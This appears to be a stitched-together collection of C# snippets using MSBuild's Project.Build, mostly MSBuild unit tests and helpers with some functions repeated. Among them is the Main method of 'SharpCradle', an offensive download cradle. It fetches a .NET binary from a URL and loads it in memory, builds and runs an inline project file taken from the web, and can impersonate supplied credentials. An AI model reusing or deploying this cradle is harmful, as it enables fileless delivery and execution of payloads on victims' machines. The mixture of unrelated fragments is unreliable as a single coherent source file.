public void LogVerbosityMessage(LoggerVerbosity loggerVerbosity, bool shouldContain) { using (var testEnvironment = TestEnvironment.Create()) { var fileLogger = new FileLogger { Verbosity = loggerVerbosity }; var logFile = testEnvironment.CreateFile(".log"); fileLogger.Parameters = "logfile=" + logFile.Path; Project project = ObjectModelHelpers.CreateInMemoryProject(@" <Project ToolsVersion=`msbuilddefaulttoolsversion` xmlns=`msbuildnamespace`> <Target Name=`Build` /> </Project> "); project.Build(fileLogger); project.ProjectCollection.UnregisterAllLoggers(); string log = File.ReadAllText(logFile.Path); var message = ResourceUtilities.FormatResourceStringStripCodeAndKeyword("LogLoggerVerbosity", loggerVerbosity); if (shouldContain) { Assert.Contains(message, log); } else { Assert.DoesNotContain(message, log); } } }
public void Basic() { FileLogger fileLogger = new FileLogger(); string logFile = FileUtilities.GetTemporaryFile(); fileLogger.Parameters = "verbosity=Normal;logfile=" + logFile; Project project = ObjectModelHelpers.CreateInMemoryProject(@" <Project ToolsVersion=`msbuilddefaulttoolsversion` xmlns=`msbuildnamespace`> <Target Name=`Build`> <Message Text=`Hello world from the FileLogger`/> </Target> </Project> "); project.Build(fileLogger); project.ProjectCollection.UnregisterAllLoggers(); string log = File.ReadAllText(logFile); Assert.IsTrue(log.Contains("Hello world from the FileLogger"), "Log should have contained message"); File.Delete(logFile); }
public static ActionsModule CreateFromProject(string projectFile, string outputFile, LightningDevelopmentHandle lightningDevelopmentHandle) { var engine = new Microsoft.Build.Evaluation.Project(projectFile); engine.Build(); return CreateFromDll(outputFile, lightningDevelopmentHandle); }
public void EmptyErrorLogUsingWarningsErrorsOnly(string loggerOption) { using (var env = TestEnvironment.Create()) { var logFile = env.CreateFile(".log").Path; // Note: Only the ParallelConsoleLogger supports this scenario (log file empty on no error/warn). We // need to explicitly enable it here with the 'ENABLEMPLOGGING' flag. FileLogger fileLogger = new FileLogger { Parameters = $"{loggerOption};logfile={logFile};ENABLEMPLOGGING" }; Project project = ObjectModelHelpers.CreateInMemoryProject(@" <Project ToolsVersion=`msbuilddefaulttoolsversion` xmlns=`msbuildnamespace`> <Target Name=`Build`> <Message Text=`Hello world from the FileLogger`/> </Target> </Project>"); project.Build(fileLogger); project.ProjectCollection.UnregisterAllLoggers(); // File should exist and be 0 length (no summary information, etc.) var result = new FileInfo(logFile); Assert.True(result.Exists); Assert.Equal(0, new FileInfo(logFile).Length); } }
public static void MsBuild(System.Xml.XmlReader xmlProj) { var msbuild = new Microsoft.Build.Evaluation.Project(xmlProj); msbuild.Build(); xmlProj.Close(); }
public void ExecuteWithHost() { ScannerTask target = new ScannerTask(); // Create the term tables and target files. string termFile1 = Utilities.CreateTempFile(CreateTermTableXml("countries", 2, "Geopolitical", "comment")); string termFile2 = Utilities.CreateTempFile(CreateTermTableXml("shoot", 3, "Profanity", "comment")); string scanFile1 = Utilities.CreateTempTxtFile("the word 'countries' should produce a hit"); string scanFile2 = Utilities.CreateTempTxtFile("the word 'shoot' should produce a hit"); // Create the project that will execute the task. Microsoft.Build.Evaluation.Project project = Utilities.SetupMSBuildProject(new string[] { scanFile1, scanFile2 }, new string[] { termFile1, termFile2 }); // Set up a custom logger to capture the output. MockLogger logger = new MockLogger(); project.ProjectCollection.RegisterLogger(logger); int errors = 0; int warnings = 0; int messages = 0; logger.OnError += delegate(object sender, BuildErrorEventArgs args) { ++errors; }; logger.OnWarning += delegate(object sender, BuildWarningEventArgs args) { ++warnings; }; logger.OnMessage += delegate(object sender, BuildMessageEventArgs args) { ++messages; }; Microsoft.Build.Construction.ProjectTaskElement task = Utilities.GetScannerTask(project); // Set the host object for the task. int hostUpdates = 0; MockHostObject host = new MockHostObject(); host.OnAddResult += delegate(object sender, MockHostObject.AddResultArgs args) { ++hostUpdates; }; logger.OnBuildStart += delegate(object sender, BuildStartedEventArgs args) { project.ProjectCollection.HostServices.RegisterHostObject(project.FullPath, "AfterBuild", "ScannerTask", host); }; project.Build("AfterBuild"); Assert.AreEqual(0, errors, "Build did not log expected number of errors."); Assert.AreEqual(0, warnings, "Build did not log expected number of warnings."); Assert.AreEqual(4, messages, "Build did not log expected number of messages."); Assert.AreEqual(2, hostUpdates, "Build did not send expected number of results to host."); }
public void AddNewErrorWarningMessageElement() { MockLogger logger = new MockLogger(); /** * <Project DefaultTargets=`Build` ToolsVersion=`msbuilddefaulttoolsversion` xmlns=`msbuildnamespace`> * <Target Name=`Build`> * </Target> * </Project */ ProjectRootElement projectXml = ProjectRootElement.Create(); ProjectTargetElement target = projectXml.AddTarget("Build"); projectXml.DefaultTargets = "Build"; projectXml.ToolsVersion = ObjectModelHelpers.MSBuildDefaultToolsVersion; SolutionProjectGenerator.AddErrorWarningMessageElement(target, XMakeElements.message, true, "SolutionVenusProjectNoClean"); SolutionProjectGenerator.AddErrorWarningMessageElement(target, XMakeElements.warning, true, "SolutionParseUnknownProjectType", "proj1.csproj"); SolutionProjectGenerator.AddErrorWarningMessageElement(target, XMakeElements.error, true, "SolutionInvalidSolutionConfiguration"); Project project = new Project(projectXml); project.Build(logger); string code = null; string keyword = null; string text = ResourceUtilities.FormatResourceString(out code, out keyword, "SolutionParseUnknownProjectType", "proj1.csproj"); // check the error event Assert.AreEqual(1, logger.Warnings.Count); BuildWarningEventArgs warning = logger.Warnings[0]; Assert.AreEqual(text, warning.Message); Assert.AreEqual(code, warning.Code); Assert.AreEqual(keyword, warning.HelpKeyword); code = null; keyword = null; text = ResourceUtilities.FormatResourceString(out code, out keyword, "SolutionInvalidSolutionConfiguration"); // check the warning event Assert.AreEqual(1, logger.Errors.Count); BuildErrorEventArgs error = logger.Errors[0]; Assert.AreEqual(text, error.Message); Assert.AreEqual(code, error.Code); Assert.AreEqual(keyword, error.HelpKeyword); code = null; keyword = null; text = ResourceUtilities.FormatResourceString(out code, out keyword, "SolutionVenusProjectNoClean"); // check the message event Assert.IsTrue(logger.FullLog.Contains(text), "Log should contain the regular message"); }
/// <summary> /// Builds this project, using the default targets and the given loggers. /// </summary> /// <param name="loggers">An enumerator over all loggers to be used during the build.</param> /// <returns> /// Returns true on success; false otherwise. /// </returns> public bool Build(IEnumerable<ILogger> loggers) { var result = false; this.SwapMSBuildTasks(); using (var reader = this.Document.CreateReader()) { reader.MoveToContent(); var innerProject = new Microsoft.Build.Evaluation.Project(reader); result = innerProject.Build(loggers.Prepend(this.Logger)); reader.Close(); } return result; }
/// <summary> /// Builds this project, using the default targets and the given loggers. /// </summary> /// <param name="loggers">An enumerator over all loggers to be used during the build.</param> /// <returns> /// Returns true on success; false otherwise. /// </returns> public bool Build(IEnumerable <ILogger> loggers) { var result = false; this.SwapMSBuildTasks(); using (var reader = this.Document.CreateReader()) { reader.MoveToContent(); var innerProject = new Microsoft.Build.Evaluation.Project(reader); result = innerProject.Build(loggers.Prepend(this.Logger)); reader.Close(); } return(result); }
public void ExecuteWithoutHost() { ScannerTask target = new ScannerTask(); // Create the term tables and target files. string termFile1 = Utilities.CreateTempFile(CreateTermTableXml("countries", 2, "Geopolitical", "comment")); string termFile2 = Utilities.CreateTempFile(CreateTermTableXml("shoot", 3, "Profanity", "comment")); string scanFile1 = Utilities.CreateTempTxtFile("the word 'countries' should produce a hit"); string scanFile2 = Utilities.CreateTempTxtFile("the word 'shoot' should produce a hit"); // Create the project that will execute the task. Microsoft.Build.Evaluation.Project project = Utilities.SetupMSBuildProject(new string[] { scanFile1, scanFile2 }, new string[] { termFile1, termFile2 }); // Set up a custom logger to capture the output. MockLogger logger = new MockLogger(); project.ProjectCollection.RegisterLogger(logger); int errors = 0; int warnings = 0; int messages = 0; logger.OnError += delegate(object sender, BuildErrorEventArgs args) { ++errors; }; logger.OnWarning += delegate(object sender, BuildWarningEventArgs args) { ++warnings; }; logger.OnMessage += delegate(object sender, BuildMessageEventArgs args) { ++messages; }; project.Build("AfterBuild"); Assert.AreEqual(0, errors, "Build did not log expected number of errors."); Assert.AreEqual(2, warnings, "Build did not log expected number of warnings."); Assert.AreEqual(2, messages, "Build did not log expected number of messages."); }
public void SolutionConfigurationWithDependenciesRelaysItsOutputs() { #region Large strings representing solution & projects const string solutionFileContents = @" Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio 11 Project(`{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}`) = `B`, `B.csproj`, `{881C1674-4ECA-451D-85B6-D7C59B7F16FA}` ProjectSection(ProjectDependencies) = postProject {4A727FF8-65F2-401E-95AD-7C8BBFBE3167} = {4A727FF8-65F2-401E-95AD-7C8BBFBE3167} EndProjectSection EndProject Project(`{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}`) = `C`, `C.csproj`, `{4A727FF8-65F2-401E-95AD-7C8BBFBE3167}` EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU Release|Any CPU = Release|Any CPU EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = preSolution {4A727FF8-65F2-401E-95AD-7C8BBFBE3167}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {4A727FF8-65F2-401E-95AD-7C8BBFBE3167}.Debug|Any CPU.Build.0 = Debug|Any CPU {4A727FF8-65F2-401E-95AD-7C8BBFBE3167}.Release|Any CPU.ActiveCfg = Release|Any CPU {4A727FF8-65F2-401E-95AD-7C8BBFBE3167}.Release|Any CPU.Build.0 = Release|Any CPU {881C1674-4ECA-451D-85B6-D7C59B7F16FA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {881C1674-4ECA-451D-85B6-D7C59B7F16FA}.Debug|Any CPU.Build.0 = Debug|Any CPU {881C1674-4ECA-451D-85B6-D7C59B7F16FA}.Release|Any CPU.ActiveCfg = Release|Any CPU {881C1674-4ECA-451D-85B6-D7C59B7F16FA}.Release|Any CPU.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection EndGlobal "; const string projectBravoFileContents = @" <Project ToolsVersion='msbuilddefaulttoolsversion' DefaultTargets='Build' xmlns='msbuildnamespace'> <Target Name='Build' Outputs='@(ComputedQuestion)'> <ItemGroup> <ComputedQuestion Include='What do you get if you multiply six by nine' /> </ItemGroup> </Target> </Project> "; const string projectCharlieFileContents = @" <Project ToolsVersion='msbuilddefaulttoolsversion' DefaultTargets='Build' xmlns='msbuildnamespace'> <Target Name='Build' Outputs='@(ComputedAnswer)'> <ItemGroup> <ComputedAnswer Include='42' /> </ItemGroup> </Target> </Project> "; const string automaticProjectFileContents = @" <Project ToolsVersion='msbuilddefaulttoolsversion' DefaultTargets='compile' xmlns='msbuildnamespace'> <Target Name='compile'> <MSBuild Projects='B.csproj' Targets='Build'> <Output TaskParameter='TargetOutputs' ItemName='BravoProjectOutputs' /> </MSBuild> <Message Importance='high' Text='BravoProjectOutputs: @(BravoProjectOutputs)' /> <MSBuild Projects='C.csproj' Targets='Build'> <Output TaskParameter='TargetOutputs' ItemName='CharlieProjectOutputs' /> </MSBuild> <Message Importance='high' Text='CharlieProjectOutputs: @(CharlieProjectOutputs)' /> <MSBuild Projects='B.csproj.metaproj' Targets='Build'> <Output TaskParameter='TargetOutputs' ItemName='BravoMetaProjectOutputs' /> </MSBuild> <Message Importance='high' Text='BravoMetaProjectOutputs: @(BravoMetaProjectOutputs)' /> <Error Condition=` '@(CharlieProjectOutputs);@(BravoProjectOutputs)' != '@(BravoMetaProjectOutputs)' ` Text='Metaproj must relay outputs' /> </Target> </Project>"; #endregion // arrange var logger = new MockLogger(); var loggers = new List<ILogger>(1) {logger}; var solutionFile = ObjectModelHelpers.CreateFileInTempProjectDirectory("MSBuildIssue.sln", solutionFileContents); ObjectModelHelpers.CreateFileInTempProjectDirectory("B.csproj", projectBravoFileContents); ObjectModelHelpers.CreateFileInTempProjectDirectory("C.csproj", projectCharlieFileContents); var solution = new SolutionFile {FullPath = solutionFile}; solution.ParseSolutionFile(); // act var instances = SolutionProjectGenerator.Generate(solution, null, null, new BuildEventContext(0, 0, 0, 0), null); // assert var projectBravoMetaProject = instances[1]; Assert.IsFalse(projectBravoMetaProject.Targets.Any(kvp => kvp.Value.Outputs.Equals("@()")), "The outputItem parameter can be null; the Target element should not have an Outputs attribute in that case."); // saves the in-memory metaproj to disk projectBravoMetaProject.ToProjectRootElement().Save(projectBravoMetaProject.FullPath); var automaticProjectFile = ObjectModelHelpers.CreateFileInTempProjectDirectory("automatic.msbuild", automaticProjectFileContents); var automaticProject = new Project(automaticProjectFile); var buildResult = automaticProject.Build(loggers); Assert.AreEqual(true, buildResult, String.Join(Environment.NewLine, logger.Errors.Select(beea => beea.Message))); }
static void Main(string[] args) { try { //SharpCradle command modules if (args.Length <= 0 || args[0] == "help" || args[0] == "?") { help(); } else if (args[0] == "-f") { string domain = ".\\"; string uname = "anonymous"; string password = ""; string folderPathToBinary = args[1]; object[] cmd = args.Skip(2).ToArray(); if (args[0] == "-f" & args[1] == "-c") { domain = args[2]; uname = args[3]; password = args[4]; folderPathToBinary = args[5]; cmd = args.Skip(6).ToArray(); } using (new Impersonation(domain, uname, password)) { //Access folder and read the bytes from the binary file FileStream fs = new FileStream(folderPathToBinary, FileMode.Open); BinaryReader br = new BinaryReader(fs); byte[] bin = br.ReadBytes(Convert.ToInt32(fs.Length)); fs.Close(); br.Close(); loadAssembly(bin, cmd); } }//End if -f else if (args[0] == "-w") { object[] cmd = args.Skip(2).ToArray(); MemoryStream ms = new MemoryStream(); using (WebClient client = new WebClient()) { //Access web and read the bytes from the binary file System.Net.ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls | System.Net.SecurityProtocolType.Tls11 | System.Net.SecurityProtocolType.Tls12; ms = new MemoryStream(client.DownloadData(args[1])); BinaryReader br = new BinaryReader(ms); byte[] bin = br.ReadBytes(Convert.ToInt32(ms.Length)); ms.Close(); br.Close(); loadAssembly(bin, cmd); } }//End if -w else if (args[0] == "-p") { //Access web to capture, build, and execute inline CS project file var proj = System.Xml.XmlReader.Create(args[1]); var msbuild = new Microsoft.Build.Evaluation.Project(proj); msbuild.Build(); proj.Close(); } //End if -p } //End try catch { Console.WriteLine("Something went wrong! Check parameters and make sure binary uses managed code"); } //End catch } //End Main
public void SolutionConfigurationWithDependenciesRelaysItsOutputs() { #region Large strings representing solution & projects const string solutionFileContents = @" Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio 11 Project(`{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}`) = `B`, `B.csproj`, `{881C1674-4ECA-451D-85B6-D7C59B7F16FA}` ProjectSection(ProjectDependencies) = postProject {4A727FF8-65F2-401E-95AD-7C8BBFBE3167} = {4A727FF8-65F2-401E-95AD-7C8BBFBE3167} EndProjectSection EndProject Project(`{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}`) = `C`, `C.csproj`, `{4A727FF8-65F2-401E-95AD-7C8BBFBE3167}` EndProject Project(`{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}`) = `D`, `D.csproj`, `{B6E7E06F-FC0B-48F1-911A-55E0E1566F00}` EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = preSolution {4A727FF8-65F2-401E-95AD-7C8BBFBE3167}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {4A727FF8-65F2-401E-95AD-7C8BBFBE3167}.Debug|Any CPU.Build.0 = Debug|Any CPU {881C1674-4ECA-451D-85B6-D7C59B7F16FA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {881C1674-4ECA-451D-85B6-D7C59B7F16FA}.Debug|Any CPU.Build.0 = Debug|Any CPU {B6E7E06F-FC0B-48F1-911A-55E0E1566F00}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {B6E7E06F-FC0B-48F1-911A-55E0E1566F00}.Debug|Any CPU.Build.0 = Debug|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection EndGlobal "; const string projectBravoFileContents = @" <Project ToolsVersion='msbuilddefaulttoolsversion' DefaultTargets='Build' xmlns='msbuildnamespace'> <Target Name='Build' Outputs='@(ComputedQuestion)'> <ItemGroup> <ComputedQuestion Include='What do you get if you multiply six by nine' /> </ItemGroup> </Target> <ItemGroup> <ProjectReference Include='D.csproj'> <Project>{B6E7E06F-FC0B-48F1-911A-55E0E1566F00}</Project> <Name>D</Name> </ProjectReference> </ItemGroup> </Project> "; const string projectCharlieFileContents = @" <Project ToolsVersion='msbuilddefaulttoolsversion' DefaultTargets='Build' xmlns='msbuildnamespace'> <Target Name='Build' Outputs='@(ComputedAnswer)'> <ItemGroup> <ComputedAnswer Include='42' /> </ItemGroup> </Target> </Project> "; const string projectDeltaFileContents = @" <Project ToolsVersion='msbuilddefaulttoolsversion' DefaultTargets='Build' xmlns='msbuildnamespace'> <PropertyGroup> <ProjectGuid>{B6E7E06F-FC0B-48F1-911A-55E0E1566F00}</ProjectGuid> </PropertyGroup> <Target Name='Build' Outputs='@(ComputedPunctuation)'> <ItemGroup> <ComputedPunctuation Include='!!!' /> </ItemGroup> </Target> </Project> "; const string automaticProjectFileContents = @" <Project ToolsVersion='msbuilddefaulttoolsversion' DefaultTargets='compile' xmlns='msbuildnamespace'> <Target Name='compile'> <!-- Build projects to get a baseline for their output --> <MSBuild Projects='B.csproj' Targets='Build'> <Output TaskParameter='TargetOutputs' ItemName='BravoProjectOutputs' /> </MSBuild> <Message Importance='high' Text='BravoProjectOutputs: @(BravoProjectOutputs)' /> <MSBuild Projects='C.csproj' Targets='Build'> <Output TaskParameter='TargetOutputs' ItemName='CharlieProjectOutputs' /> </MSBuild> <Message Importance='high' Text='CharlieProjectOutputs: @(CharlieProjectOutputs)' /> <MSBuild Projects='D.csproj' Targets='Build'> <Output TaskParameter='TargetOutputs' ItemName='DeltaProjectOutputs' /> </MSBuild> <Message Importance='high' Text='DeltaProjectOutputs: @(DeltaProjectOutputs)' /> <PropertyGroup> <StringifiedBravoProjectOutputs>@(BravoProjectOutputs)</StringifiedBravoProjectOutputs> <StringifiedCharlieProjectOutputs>@(CharlieProjectOutputs)</StringifiedCharlieProjectOutputs> <StringifiedDeltaProjectOutputs>@(DeltaProjectOutputs)</StringifiedDeltaProjectOutputs> </PropertyGroup> <!-- Explicitly build the metaproject generated for B --> <MSBuild Projects='B.csproj.metaproj' Targets='Build'> <Output TaskParameter='TargetOutputs' ItemName='BravoMetaProjectOutputs' /> </MSBuild> <Message Importance='high' Text='BravoMetaProjectOutputs: @(BravoMetaProjectOutputs)' /> <Error Condition=` '@(BravoProjectOutputs)' != '@(BravoMetaProjectOutputs)' ` Text='Metaproj outputs must match outputs of normal project build.' /> <!-- Build the solution as a whole (which will build the metaproj and return overall outputs) --> <MSBuild Projects='MSBuildIssue.sln'> <Output TaskParameter='TargetOutputs' ItemName='SolutionProjectOutputs' /> </MSBuild> <Message Importance='high' Text='SolutionProjectOutputs: @(SolutionProjectOutputs)' /> <Error Condition=` '@(SolutionProjectOutputs->Count())' != '3' ` Text='Overall sln outputs must include outputs of each referenced project (there should be 3).' /> <Error Condition=` '@(SolutionProjectOutputs->AnyHaveMetadataValue('Identity', '$(StringifiedBravoProjectOutputs)'))' != 'true'` Text='Overall sln outputs must include outputs of normal project build of project B.' /> <Error Condition=` '@(SolutionProjectOutputs->AnyHaveMetadataValue('Identity', '$(StringifiedCharlieProjectOutputs)'))' != 'true' ` Text='Overall sln outputs must include outputs of normal project build of project C.' /> <Error Condition=` '@(SolutionProjectOutputs->AnyHaveMetadataValue('Identity', '$(StringifiedDeltaProjectOutputs)'))' != 'true' ` Text='Overall sln outputs must include outputs of normal project build of project D.' /> </Target> </Project>"; #endregion var logger = new MockLogger(); var loggers = new List<ILogger>(1) { logger }; var solutionFile = ObjectModelHelpers.CreateFileInTempProjectDirectory("MSBuildIssue.sln", solutionFileContents); ObjectModelHelpers.CreateFileInTempProjectDirectory("B.csproj", projectBravoFileContents); ObjectModelHelpers.CreateFileInTempProjectDirectory("C.csproj", projectCharlieFileContents); ObjectModelHelpers.CreateFileInTempProjectDirectory("D.csproj", projectDeltaFileContents); var solution = new SolutionFile { FullPath = solutionFile }; solution.ParseSolutionFile(); var instances = SolutionProjectGenerator.Generate(solution, null, null, new BuildEventContext(0, 0, 0, 0), null); var projectBravoMetaProject = instances[1]; Assert.False(projectBravoMetaProject.Targets.Any(kvp => kvp.Value.Outputs.Equals("@()"))); // "The outputItem parameter can be null; the Target element should not have an Outputs attribute in that case." // saves the in-memory metaproj to disk projectBravoMetaProject.ToProjectRootElement().Save(projectBravoMetaProject.FullPath); var automaticProjectFile = ObjectModelHelpers.CreateFileInTempProjectDirectory("automatic.msbuild", automaticProjectFileContents); var automaticProject = new Project(automaticProjectFile); var buildResult = automaticProject.Build(loggers); // NOTE: most of the actual assertions for this test are embedded in automaticProjectFileContents as <Error>s Assert.True(buildResult, String.Join(Environment.NewLine, logger.Errors.Select(beea => beea.Message))); }